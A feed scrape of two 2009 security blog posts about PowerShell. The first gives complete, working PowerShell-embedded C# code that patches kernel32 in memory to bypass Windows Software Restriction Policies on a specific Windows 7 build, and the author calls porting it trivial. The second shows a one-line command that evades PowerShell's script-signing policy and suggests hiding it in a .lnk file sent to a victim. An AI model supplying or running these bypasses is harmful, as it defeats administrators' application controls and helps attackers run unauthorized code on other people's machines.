powershell – Grey Panthers Savannah https://grey-panther.net Just another WordPress site Fri, 17 Jul 2009 13:30:00 +0000 en-US hourly 1 https://wordpress.org/?v=6.9 206299117 Bypassing SRP from PowerShell https://grey-panther.net/2009/07/bypassing-srp-from-powershell.html https://grey-panther.net/2009/07/bypassing-srp-from-powershell.html#comments Fri, 17 Jul 2009 13:30:00 +0000 https://grey-panther.net/?p=262 3692117840_8e53e98b8b_b When discussing with a reader of mine, I mentioned that the same method (patching the local process) should be possible using PowerShell. And here is the code:

#########################################################
#  This is a general purpose routine that I put into a file called
#   LibraryCodeGen.msh and then dot-source when I need it.
#########################################################
function Compile-Csharp ([string] $code, $FrameworkVersion="v2.0.50727", [Array]$References)
{
    #
    # Get an instance of the CSharp code provider
    #
    $cp = new-object Microsoft.CSharp.CSharpCodeProvider

    #
    # Build up a compiler params object...
    $framework = Join-Path $env:windir "Microsoft.NETFramework$FrameWorkVersion"
    $refs = new-object Collections.ArrayList
    $refs.AddRange( @("${framework}System.dll",
        "${framework}system.windows.forms.dll",
        "${framework}System.data.dll",
        "${framework}System.Drawing.dll",
        "${framework}System.Xml.dll"))
    if ($references.Count -ge 1)
    {
        $refs.AddRange($References)
    }

    $cpar = New-Object System.CodeDom.Compiler.CompilerParameters
    $cpar.GenerateInMemory = $true
    $cpar.CompilerOptions = "-unsafe"    
    $cpar.GenerateExecutable = $false
    $cpar.OutputAssembly = "custom"
    $cpar.ReferencedAssemblies.AddRange($refs)
    $cr = $cp.CompileAssemblyFromSource($cpar, $code)

    if ( $cr.Errors.Count)
    {
        $codeLines = $code.Split("`n");
        foreach ($ce in $cr.Errors)
        {
            write-host "Error: $($codeLines[$($ce.Line - 1)])"
            $ce |out-default
        }
        Throw "INVALID DATA: Errors encountered while compiling code"
    }
}

###########################################################################
#  Here I leverage one of my favorite features (here-strings) to define
# the C# code I want to run.  Remember - if you use single quotes - the
# string is taken literally but if you use double-quotes, we'll do variable
# expansion.  This can be VERY useful.
###########################################################################
$code = @'
using System;
using System.Runtime.InteropServices;

namespace test
{
    public class Testclass
    {
        public enum Protection
        {
            PAGE_NOACCESS = 0x01,
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_WRITECOPY = 0x08,
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            PAGE_EXECUTE_WRITECOPY = 0x80,
            PAGE_GUARD = 0x100,
            PAGE_NOCACHE = 0x200,
            PAGE_WRITECOMBINE = 0x400
        }

        [DllImport("kernel32.dll")]
        static extern bool VirtualProtect(uint lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("kernel32.dll")]
        public static extern uint GetModuleHandle(string lpModuleName);

        public static void Patch()
        {
            uint addr = GetModuleHandle("kernel32.dll") + 0x55FD7;
            byte[] expected = new byte[] {0x8B, 0xFF, 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x84, 0x02, 0x00, 0x00};
            unsafe
            {
                byte* mem = (byte*)addr;
                for (int i = 0; i < expected.Length; ++i)
                {
                    if (mem[i] != expected[i])
                    {
                        System.Console.WriteLine("Expected bytes not found!");
                        return;
                    }
                }

	            uint oldProtect;                
                VirtualProtect(addr, 11, (uint)Protection.PAGE_EXECUTE_WRITECOPY, out oldProtect);
                byte[] patch = new byte[] {0xB8, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x0C, 0x00, 0x90, 0x90, 0x90};
                for (int i = 0; i < patch.Length; ++i) mem[i] = patch[i];
                VirtualProtect(addr, 11, oldProtect,  out oldProtect);
            }
        }
    }
}
'@

##################################################################
# So now we compile the code and use .NET object access to run it.
##################################################################
compile-CSharp $code
[Test.TestClass]::Patch()

After executing this script, you can run any executable, even if it would have been restricted by the SRP. Some mentions:

  • It is technically written in C#, which is dynamically compiled (the code to do it is taken from here, with a modification from here to allow compiling of unsafe code)
  • The offsets and bytes are for Windows 7 build 7100, so it most probably won’t work with other versions of Windows (and it is possible that it won’t work with other builds), however it is trivial to port it to other versions
  • Because Windows 7 (like Vista) changes the loading address at each reboot (ASLR), the actual patch address needs to be calculated relative to the base address of kernel32 (obtained via GetModuleHandle)

Picture taken from permanently scatterbrained’s photostream with permission.

]]>
https://grey-panther.net/2009/07/bypassing-srp-from-powershell.html/feed 4 262
Executing arbitrary powershell script from the command line https://grey-panther.net/2009/07/executing-arbitrary-powershell-script-from-the-command-line.html https://grey-panther.net/2009/07/executing-arbitrary-powershell-script-from-the-command-line.html#respond Thu, 16 Jul 2009 15:00:00 +0000 https://grey-panther.net/?p=263 504462739_04be0d5daf_oAfter playing around with PowerShell, I quickly found that there seem to have been given a considerable amount of thought to the security aspect of it. Two security features which I found were:

  • The default action for powershell scripts (.ps1) is “Edit”, not “Run”. This means that plain powershell scripts can’t create the same amount of havoc as VBS scripts did (by enticing users to double-click them)
  • Again, by default, scripts must be signed to be run! Otherwise you get a nice error message: “File X cannot be loaded because the execution of scripts is disabled on this system. Please see "get-help about_signing" for more details.” It is great that the default config is secure (even though it is probable that many admins will change the default policy, at least the all the home users will be protected)

So, how can you invoke powershell from the command line and make it execute an arbitrary script? Very easily:

powershell "get-content -path runme.ps1|invoke-expression"

How this works: powershell evaluates the expression given at the command line. This expression in turn loads the content of the target file and then passes it on to PS’s version of eval. How can this be used for malicious purposes: including the command line inside of a .lnk file and sending that to the victim (a behavior which has been used in the past).

Conclusion: it is good to see that Microsoft is considering security, but then again it is very hard (if not impossible) to make something secure such that it is still usable.

Picture taken from fontplaydotcom’s photostream with permission.

]]>
https://grey-panther.net/2009/07/executing-arbitrary-powershell-script-from-the-command-line.html/feed 0 263